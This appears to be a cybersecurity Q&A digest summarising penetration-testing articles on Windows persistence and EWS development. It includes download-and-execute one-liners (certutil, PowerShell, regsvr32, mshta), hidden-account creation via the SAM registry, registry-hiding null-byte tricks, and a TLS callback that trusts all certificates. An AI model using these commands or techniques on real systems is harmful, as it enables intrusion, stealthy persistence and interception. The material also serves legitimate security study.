Cybersecurity Q&A
Browse concise answers derived from our published, source-linked cybersecurity coverage.
Why can't I directly read the RDP connection history for users who are not logged into the Windows system?
The registry information for a user is only loaded into `HKEY_USERS` when that user logs on. For users who are not currently logged in, their settings reside in their `NTUSER.DAT` file on disk and are not synced to the registry. To access that data, you must manually load the hive file as described in the article. This is a common challenge in forensic and penetration testing contexts, much like retrieving [PowerShell command history](/news/penetration-techniques-obtaining-powershell-command-history) which also requires accessing user-specific artifacts.
What is the best method to obtain RDP connection history for all users, including those not currently logged into the system?
To get the full history, you must first enumerate all user SIDs via WMI, then attempt to read each user's registry path under `HKEY_USERS\SID\...`. If a user is not logged in, their registry hive is unavailable, so you need to load their `NTUSER.DAT` file (located in `C:\Documents and Settings\Username\`) as a registry hive using `Reg load`. After loading, enumerate the keys, then unload the hive. The article details a complete PowerShell implementation that uses a loop and try-catch or if-else logic. This technique is similar to [account hiding](/news/penetration-techniques-account-hiding-in-windows-systems) in that it manipulates registry hives for deeper access.
How can I retrieve the Remote Desktop connection history of only the currently logged-in user during a penetration test?
You can enumerate the registry key `HKCU:\Software\Microsoft\Terminal Server Client\Servers` using a simple PowerShell loop. Each subkey represents a server, and the `UsernameHint` value stores the login username. A complete script is provided in the [article](/news/penetration-techniques-obtaining-remote-desktop-connection-history-on-windows-systems) that handles exceptions and outputs the server and user. This method requires no special privileges since it only reads the current user's hive.
How do you read the body of an email in plain text using the EWS Managed API?
By default, the `Body` property returns HTML content. To obtain plain text, you need to specify the `BodyType.Text` property when loading or retrieving the item. For example, using `item.Load(new PropertySet(BasePropertySet.FirstClassProperties, ItemSchema.Body))` and then accessing `item.Body.Text` after setting the appropriate body type. The guide references a StackOverflow solution for this conversion.
Why is the ewsManage open-source project important for EWS development?
The ewsManage project provides ready-to-use C# and PowerShell code for accessing Exchange resources via both the EWS Managed API and SOAP XML. It includes implementations for common operations like listing inbox emails and sending messages, and it also bundles the necessary `Microsoft.Exchange.WebServices.dll` file. This saves developers from reinventing the wheel and facilitates secondary development, as noted in the guide's open-source code section.
What is the Autodiscover service in EWS and how does it simplify Exchange resource access?
The Autodiscover service automatically resolves the Exchange Server URL from a user's email address, so you don't have to hardcode the endpoint like `https://test.com/ews/Exchange.asmx`. In code, you use `ExchangeService.AutodiscoverUrl("[email protected]")` to dynamically obtain the correct URL. If Autodiscover is disabled, you can still set the `Url` property directly. This is explained further in the [Exchange Web Service (EWS) Development Guide 4 – Auto Downloader](/news/exchange-web-service-ews-development-guide-4-auto-downloader).
How do you handle untrusted SSL certificates when using the EWS Managed API in C#?
To bypass certificate validation errors, you can add a certificate trust policy using `ServicePointManager.ServerCertificateValidationCallback` that returns `true` for all certificates. This is necessary because Exchange Server self-signed certificates often cause an untrusted error, leading to a closed SSL connection. The C# code snippet in the guide shows: `ServicePointManager.ServerCertificateValidationCallback = (sender, certificate, chain, sslPolicyErrors) => { return true; };`.
What are the two main methods to access Exchange resources using Exchange Web Services (EWS)?
The two main methods are the EWS Managed API and EWS SOAP XML messages. The Managed API provides a .NET or PowerShell wrapper for easier development, while the SOAP XML method allows direct crafting and parsing of SOAP requests and responses. For a deeper dive into SOAP messages, see the [Exchange Web Service (EWS) Development Guide 2 – SOAP XML Message](/news/exchange-web-service-ews-development-guide-2-soap-xml-message).
How can a hidden account remain persistent even after the original cloned account's password is changed or deleted?
By cloning the permissions of an existing account (e.g., account `a`) to create a hidden account (e.g., `aaa$`), you can then change the password of the original account `a` or even delete it, and the hidden account `aaa$` will remain valid. This persistence works because the cloned account has its own registry entries with the same security identifier (SID) or permission set, so password changes or deletion of the original do not affect the clone.
What exploitation issues arise when combining hidden accounts with remote desktop multi-user login?
When you clone an existing account's permissions to create a hidden account, the cloned account inherits the original account's identity. If the original account is already logged in (e.g., via RDP), logging in with the hidden clone will kick the original user out because the system sees them as the same account. This behavior is similar to the conflicts described in [Penetration Techniques - Multi-user Login for Windows Remote Desktop](/news/penetration-techniques-multi-user-login-for-windows-remote-desktop). Additionally, if you clone a disabled Administrator account, the hidden account will also be disabled.
How can I automate hidden account creation using PowerShell scripts, and what permissions are needed?
PowerShell scripts can automate the process by first gaining edit permissions on the SAM registry. One approach uses `regini` with an ini file to grant full access to Administrators and System. Another method employs token manipulation to obtain System privileges—using Invoke-TokenManipulation.ps1 to spawn a cmd.exe process as SYSTEM—then script the export, replacement, and import of registry keys. The script from Evilcg (e.g., `Create-Clone.ps1`) provides a full implementation, as referenced in the article.
What is the basic method to create a hidden account in Windows by cloning an existing account's registry key?
The basic method involves granting full control of the `HKEY_LOCAL_MACHINE\SAM\SAM` registry key to Administrators, then creating a username that ends with `$` (e.g., `test$`). You export the registry keys for the new account and the target account (e.g., Administrator), replace the `F` value in the new account's key with the Administrator's `F` value, delete the account via `net user`, and import the modified registry files. The result is a hidden account that appears neither in `net user` nor in the Control Panel. For more details, see [Penetration Techniques - Account Hiding in Windows Systems](/news/penetration-techniques-account-hiding-in-windows-systems).
What are the recommended defense and detection strategies mentioned in the article?
The article briefly mentions defense and detection but does not detail them. Common approaches include monitoring registry access via Native API calls (e.g., `NtCreateKey`) rather than relying solely on Win32 API hooks, and using low-level registry analysis tools that can enumerate keys with correct string lengths. Adversaries might also leverage similar techniques for stealth execution, as discussed in [Penetration Techniques - Stealth Execution of Windows Remote Assistance](/news/penetration-techniques-stealth-execution-of-windows-remote-assistance).
Can the same Native API technique be applied to file creation using NtCreateFile, and what was the result?
The article tests using `NtCreateFile` with a path that starts with a null byte (`\0c:\1\test.txt`). Although the same `OBJECT_ATTRIBUTES` structure was used, the call failed with `STATUS_OBJECT_PATH_SYNTAX_BAD`. This indicates that the null-byte trick does not work universally for file system objects in the same way it does for registry keys, likely due to different path parsing rules in the Object Manager.
Why does the Win32 API fail to read a registry value whose name contains a null byte?
The Win32 API treats the null byte (0x0000) as the standard C string terminator. When a function like `RegQueryValueEx` receives a name that starts with or contains \0, it truncates the name at the first null byte, leading to a lookup failure. This behavior is confirmed by the article, which shows that reading `\0test1` returns `ERROR_FILE_NOT_FOUND`. Native API functions avoid this by requiring an explicit length parameter.
What is the more stealthy method introduced in this article, and how does it deceive system administrators?
The more stealthy method places the null byte in the middle of a registry value name, such as `test2\0abc`. When viewed in `regedit.exe`, the name is truncated at the null byte, so it appears as `test2`. If a legitimate key named `test2` also exists, both appear identically in the registry editor, but the hidden key actually stores different data (e.g., `hidden0123456789abcdef` instead of `0123456789abcdef`). This provides greater deception than the leading-\0 method because it produces no error messages.
How does placing a null byte (\0) at the beginning of a registry value name help hide it?
When a registry value name starts with a null byte (\0), Win32 API functions like `RegQueryValueEx` interpret that byte as a string terminator, causing them to read an empty name and fail with `ERROR_FILE_NOT_FOUND`. However, using Native API functions such as `NtCreateKey` allows specifying the exact string length, bypassing this truncation. This technique is detailed in the original article [Penetration Techniques - Creating "Hidden" Registry Entries](/news/penetration-techniques-creating-hidden-registry-entries).
Why does mshta fail to execute HTA scripts from raw GitHub links, and how can this be bypassed?
Raw GitHub links return a `text/plain` content type, but mshta expects an HTML response header to parse the script. To bypass this, upload the HTA file to a GitHub blog, which serves it as HTML. Then use `mshta https://<blog-url>/downloadexec.hta`. A security pop-up may occur due to cross-domain data access restrictions; this can be mitigated by adding the blog domain to Internet Explorer's trusted sites. This workaround and other methods are explained in [Penetration Techniques - Multiple Methods for Downloading Files from GitHub](/news/penetration-techniques-multiple-methods-for-downloading-files-from-github).
How can regsvr32 be abused to download and execute files from GitHub?
Regsvr32 can load a remotely hosted scriptlet (.sct) file that contains VBScript or JScript code. For example, using `regsvr32 /u /s /i:https://raw.githubusercontent.com/.../downloadexec.sct scrobj.dll` prompts regsvr32 to execute the script, which then calls PowerShell or VBScript to download and run the payload. This technique avoids touching disk with the initial payload and is part of the methods detailed in [Penetration Techniques - Multiple Methods for Downloading Files from GitHub](/news/penetration-techniques-multiple-methods-for-downloading-files-from-github). Similar parameter-hiding approaches are explored in [Penetration Techniques - Parameter Hiding Techniques in Shortcut Files](/news/penetration-techniques-parameter-hiding-techniques-in-shortcut-files).
What is the shortest command to download and execute an exe from GitHub using cmd?
The shortest method is using certutil with the command: `certutil -urlcache -split -f <GitHub_URL> c:\download\a.exe && c:\download\a.exe`. PowerShell is also concise: `powershell (new-object System.Net.WebClient).DownloadFile('URL','c:\download\a.exe');start-process 'c:\download\a.exe'`, but certultil typically requires fewer characters. Both are covered in [Penetration Techniques - Multiple Methods for Downloading Files from GitHub](/news/penetration-techniques-multiple-methods-for-downloading-files-from-github).